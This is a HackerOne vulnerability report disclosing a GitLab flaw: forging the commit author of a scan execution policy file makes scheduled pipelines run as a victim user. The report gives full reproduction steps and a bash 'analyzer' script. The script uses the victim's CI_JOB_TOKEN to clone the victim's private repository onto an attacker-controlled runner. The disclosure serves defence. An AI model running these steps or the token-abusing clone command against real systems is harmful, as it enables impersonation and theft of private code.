An attacker can run pipeline jobs as arbitrary user
HackerOne report #2057633 by vaib25vicky on 2023-07-08, assigned to GitLab Team:
Report
Summary
An attacker can run arbitrary pipeline jobs as a victim user. This means the attacker can access the user internal repositories, member only repositories, registry, etc... by using the victim CI_JOB_TOKEN token.
It is possible by using scan execution policy which triggers the pipeline on the basis of who last commited/edited policy.yml file.
We can include victim username in git config --global user.name "victim" and push changes to policy.yml as victim then a new pipeline will trigger whose triggerer/author will be victim.
All this is done, without any user interaction and only prerequisite is victim Gitlab username and name of victim internal or members-only project whose code is private.
Since, there is restriction in policy.yml file that we can't add scripts or bash commands. However, I find a way to use analyzer file to run custom bash code. This allows me to exploit the bug as shown in steps.
Steps to reproduce on Gitlab.com
VICTIM:
- Sign in to a GitLab.com as a Victim user
- Create an arbitrary public member only repository with some private files. (We will steal this repo as a poc.)
ATTACKER:
- Create a group in Gitlab.com
- Add victim as Owner
- Register a self-hosted runner at group level
- Let it run untagged jobs
- Install on an Ubuntu machine and choose executor as
shell - SSH into your machine and create a
bashfile namedanalyzerat root level that is ,/analyzer
root@ubuntu123$ nano /analyzer
### !/bin/bash
git clone https://gitlab-ci-token:${CI_JOB_TOKEN}[@]gitlab.com/<victim>/<project> ~/poc
root@ubuntu123$ chmod +x /analyzer
* After successful exploitation, victim repository will be downloaded in ` /home/gitlab/poc`
-
Start an Ultimate trial for your group
-
Prepare the
testproject. Follow the steps below:- Create a new private project with a working
.gitlab-ci.ymlfile. For example, use the bash template. - Disabled shared runners for the project. Validate that the group runner created in the previous step is listed under "Available group runners: 1"
- Add an empty named
package.jsonto the project. This is required for the SAST scan to run. - On the left sidebar select Code and then Branches
- Select New branch
- Enter
testas name - Select Create branch
- Create a new private project with a working
-
Prepare the security policy in your
testproject
* On the left sidebar, select Secure* and then Policies.
* Select New policy.
* Select Scan execution policy
* Switch to.yaml mode
* Replace the content with the example policy yaml below
---
scan_execution_policy:
- name: test
description: 'helloo'
enabled: true
rules:
- type: schedule
branches:
- test
cadence: "*/16 * * * *"
actions:
- scan: sast
tags: []
* Select **Configure with a merge request**
* Select **Merge.**
- After above steps, a new project is created in your group with name like
test-security-policy-project - Go to your
test-security-policy-projectProtected branch settings and choose Allow to push Maintainers and Developers - Clone that
test-security-policy-projectto your local computer - Change your
git configand include username of the yourvictimthat is,
git config --global user.name "victim" - Edit
policy.ymlfile in yourtest-security-policy-projectand just changedescription. No need of anything else. -
git push origin mainto merge your changes intest-security-policy-project. - In the
policy.ymlfile commit history you'll see that yourvictimis the last edited user here. - Wait for 15 mins or more, a new pipeline will run in the
testproject and you will be able to gain access tovictiminternal repository or members only repository whose code is private.
Output of checks
This bug happens on GitLab.com.
Impact
An attacker can run pipeline jobs as arbitrary user without any user interaction allows access to internal and members-only projects whose code are private.
How To Reproduce
Please add reproducibility information to this section: